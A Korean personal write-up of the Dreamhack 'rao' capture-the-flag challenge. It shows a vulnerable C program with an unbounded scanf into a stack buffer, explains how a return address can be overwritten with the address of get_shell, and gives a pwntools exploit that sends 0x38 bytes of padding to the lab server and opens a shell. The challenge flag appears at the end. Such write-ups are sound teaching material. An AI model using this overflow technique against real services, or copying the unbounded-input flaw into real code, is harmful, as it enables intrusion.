읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
실습 코드
// Name: rao.c
// Compile : gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf); // 취약점
return 0;
}
분석
1. 취약점 분석
main 함수에서 scanf("%s", buf);를 보면 입력 길이에 제한 없이 입력을 받고 있다. 이 부분을 이용해 오버플로우 공격을 시도하면된다.
크기가 0x28 바이트인 버퍼에 입력을 받고 있기 때문에, 0x28 바이트 이상의 입력이 들어가면 버퍼 오버플로우 공격을 하여 main 함수의 return address 값을 덮을 수 있다.
2. 익스플로잇
스택 프레임 구조 파악
스택 버퍼에 오버플로우를 발생시켜서 Return address를 덮으려면, 해당 스택 버퍼가 어느 위치에 저장되어있는지 알아야 한다.

disass main 명령어로 main 함수를 까보면 함수 안 내용을 확인할 수 있는데, main의 어셈블리 코드에서 scanf 함수 부분을 의사코드로 표현하면 scanf("%s", rbp-0x30)가 된다.
스택 구조를 그려보면 다음과 같다.

rbp 부터 rbp-0x30 까지 buf의 크기가 할당 되어있고, Stack Frame Pointer(SFP)의 크기는 8바이트 크기이므로 rbp+8의 주소에 위치한다. 반환 주소 값인 RET는 rbp+8 다음 주소에 위치한다.
따라서 Hexadecimal 값인 0x30과 0x8을 Decimal로 변환하면 각각 48과 8이 되는데, buf와 SFP에 dummy data로 덮어 씌우면 Return Address에 원하는 값으로 덮어 쓸 수 있게 된다.
그 역할을 하는 함수가 get_shell() 함수인데, 한번 확인 해보자.
get_shell
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
쉘을 실행 시켜주는 get_shell 함수가 있기 때문에, main 함수의 반환 주소를 get_shell로 덮어 씌운다면 셸을 따낼 수 있다.
gdb로 get_shell 함수의 주소를 확인해보면 다음과 같다.

확인 결과 get_shell 함수의 주소는 0x4006aa에 위치한 것을 알 수 있다.
payload 구성
익스플로잇을 위한 payload를 그림으로 구상해보면 다음과 같다.

익스플로잇 코드
구상한 payload를 바탕으로 코드를 작성해보자
#!/usr/bin/python3
#Name: rao.py
from pwn import *
p = remote("host3.dreamhack.games", 23894)
e = ELF("./rao")
payload = b'A' * 0x38
payload += p64(e.symbols['get_shell'])
p.send(payload)
p.interactive()
코드 설명
from pwn import *
pwntools 모듈의 약자인 pwn이다. pwntools를 사용하겠다고 선언.
p = remote("host3.dreamhack.games", 23894)
remote 함수는 해당 주소의 원격 서버를 공격할 때 사용되는 함수다.
e = ELF("./rao")
"./rao" 경로에 위치한 ELF 파일을 로드한다. 이 파일은 보통 실행 가능 파일이나 공유 라이브러리 등이 될 수 있으며, 리버스 엔지니어링이나 익스플로잇 작성 시 분석 대상이 된다.
payload = b'A' * 0x38
위 코드 분석에서 확인했듯이 buf 크기인 0x30과 SFP 크기 0x8을 전부 덮으려면 0x38 크기만큼 dummy data로 채워넣어야 한다.
payload += p64(e.symbols['get_shell'])
p64 함수는 pwntools 라이브러리에 정의된 함수로, 인자로 받은 64비트 정수를 8바이트 길이의 리틀 엔디언 형식의 바이트 문자열로 변환한다. 리틀 엔디언은 낮은 메모리 주소에 최하위 바이트를 배치하는 방식을 말합니다.
e.symbols['get_shell']는 ELF(Executable and Linkable Format) 파일을 분석하여 get_shell이라는 함수의 주소를 찾는다. e 객체는 ELF("./rao")를 통해 생성되었으며, "./rao" 바이너리 파일 내에 정의된 심볼(함수명, 변수명 등) 정보에 접근할 수 있게 한다.
위 과정을 거쳐 get_shell 함수의 주소를 리틀 엔디언 형식으로 변환하여 기존 페이로드 뒤에 추가한다. 이렇게 하면 버퍼 오버플로우를 통해 Return Address를 조작할 때, get_shell 함수가 실행되도록 할 수 있다.
p.send(payload)
공격 할 원격 서버에 payload를 전송한다.
p.interactive()
쉘을 탈취한 경우 사용자 입력 전달, 서비스 출력 표시, 익스플로잇 후 상호작용 등의 기능을 수행한다.
이렇게 익스플로잇을 수행하면 다음과 같이 셸 권한을 탈취하면서 flag를 얻을 수 있다.

DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글